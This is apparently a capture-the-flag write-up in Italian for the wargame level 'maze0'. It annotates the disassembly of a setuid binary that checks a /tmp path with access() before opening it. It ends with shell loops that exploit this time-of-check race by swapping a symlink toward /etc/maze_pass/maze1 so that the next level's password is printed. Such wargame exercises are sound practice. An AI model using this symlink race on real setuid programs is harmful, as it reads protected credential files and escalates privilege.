080491f6 <main>:
80491f6: 55 push ebp
80491f7: 89 e5 mov ebp,esp
80491f9: 56 push esi
80491fa: 53 push ebx
80491fb: 83 ec 20 sub esp,0x20
prologo della funzione main;sottrae 32 byte allo stack pointer per la memoria allocata per le variabili locali della funzione main
80491fe: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8049201: 89 45 d8 mov DWORD PTR [ebp-0x28],eax
8049204: 65 a1 14 00 00 00 mov eax,gs:0x14
;Stack Canary Protection
804920a: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
804920d: 31 c0 xor eax,eax
804920f: 6a 14 push 0x14 ; la size, 20 byte a null
8049211: 6a 00 push 0x0 ; il null byte
8049213: 8d 45 e0 lea eax,[ebp-0x20]
;l'indirizzio della stringa
8049216: 50 push eax
8049217: e8 a4 fe ff ff call 80490c0<memset@plt>
;memset(&ebp-0x20, 0x0, 20) : setta a 0 tutti e 20 i byte dello stack allocati per le variabili locali
804921c: 83 c4 0c add esp,0xc
804921f: 6a 04 push 0x4
8049221: 68 08 a0 04 08 push 0x804a008
8049226: e8 a5 fe ff ff call 80490d0 <access@plt>
;a questo indirizzo 0x804a008 c'è una stringa;
;è un path /tmp/128ecf542a35ac5270a87dc740918404
804922b: 83 c4 08 add esp,0x8
804922e: 85 c0 test eax,eax
8049230: 75 5e jne 8049290 <main+0x9a>
;salta nella zona finale
8049232: e8 49 fe ff ff call 8049080 <geteuid@plt>
8049237: 89 c6 mov esi,eax
8049239: e8 42 fe ff ff call 8049080 <geteuid@plt>
804923e: 89 c3 mov ebx,eax
8049240: e8 3b fe ff ff call 8049080 <geteuid@plt>
;tre chiamate uguali perchè? comunque geteuid ritorna l'uid di maze1 che è l'euid del processo chiamante
8049245: 56 push esi
8049246: 53 push ebx
8049247: 50 push eax
8049248: e8 f3 fd ff ff call 8049040 <setresuid@plt>
;setta maze1
804924d: 83 c4 0c add esp,0xc
8049250: 6a 00 push 0x0
8049252: 68 08 a0 04 08 push 0x804a008
8049257: e8 44 fe ff ff call 80490a0 <open@plt>
;qui apre il file; ho già creato un link simbolico
;ln -sf /etc/maze_pass/maze1 \
;/tmp/128ecf542a35ac5270a87dc740918404
804925c: 83 c4 08 add esp,0x8
804925f: 89 45 dc mov DWORD PTR [ebp-0x24],eax
8049262: 83 7d dc 00 cmp DWORD PTR [ebp-0x24],0x0
8049266: 79 07 jns 804926f <main+0x79>
;jns - salta se non c'è segno (positivo), salta se è riuscito ad aprire il file;
8049268: 6a ff push 0xffffffff
804926a: e8 21 fe ff ff call 8049090 <exit@plt>
804926f: 6a 13 push 0x13
8049271: 8d 45 e0 lea eax,[ebp-0x20]
8049274: 50 push eax
8049275: ff 75 dc push DWORD PTR [ebp-0x24]
8049278: e8 e3 fd ff ff call 8049060 <read@plt>
;qui legge il file linkato dal link simbolico
804927d: 83 c4 0c add esp,0xc
8049280: 6a 13 push 0x13
8049282: 8d 45 e0 lea eax,[ebp-0x20]
8049285: 50 push eax
8049286: 6a 01 push 0x1
8049288: e8 23 fe ff ff call 80490b0 <write@plt>
;qui scrive il contenuto di /etc/maze_pass/maze1 sul terminale
;write(int fd, const void *buf, size_t count);
804928d: 83 c4 0c add esp,0xc
8049290: b8 00 00 00 00 mov eax,0x0
8049295: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
8049298: 65 2b 15 14 00 00 00 sub edx,DWORD PTR gs:0x14
804929f: 74 05 je 80492a6 <main+0xb0>
80492a1: e8 ca fd ff ff call 8049070 <__stack_chk_fail@plt>
;check del canary, e stack fail in caso di violazione
80492a6: 8d 65 f8 lea esp,[ebp-0x8]
80492a9: 5b pop ebx
80492aa: 5e pop esi
80492ab: 5d pop ebp
80492ac: c3 ret
while [ 1 ];
do
ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404
ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
done;
while [ 1 ];
do
/maze/maze0
done;
;per risolvere il problema della race condition
Edited by AKIRA BASHO - 29/10/2023, 18:15